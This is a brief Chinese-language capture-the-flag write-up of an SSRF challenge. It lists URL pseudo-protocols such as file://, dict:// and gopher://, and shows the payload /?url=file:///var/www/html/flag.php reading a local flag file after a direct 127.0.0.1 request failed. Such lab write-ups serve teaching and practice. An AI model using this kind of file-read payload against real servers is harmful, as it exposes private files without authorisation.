伪协议读取文件

尝试直接访问,发现访问不到

/?url=http://127.0.0.1/flag.php

伪协议访问

url伪协议:
file:///				-- 本地文件传输协议,主要用于访问本地计算机中的文件
dict://					-- 字典服务器协议,用于让客户端使用过程中能够访问更多的字典源
sftp:// 				-- 安全的文件传输协议,确保使用私有和安全的数据流来安全地传输数据
ldap://					-- 轻量级目录访问协议
tftp://					-- 简单文件传输协议
gopher://

构建payload:

/?url=file:///var/www/html/flag.php

发现还是3个?查看源码就发现了flag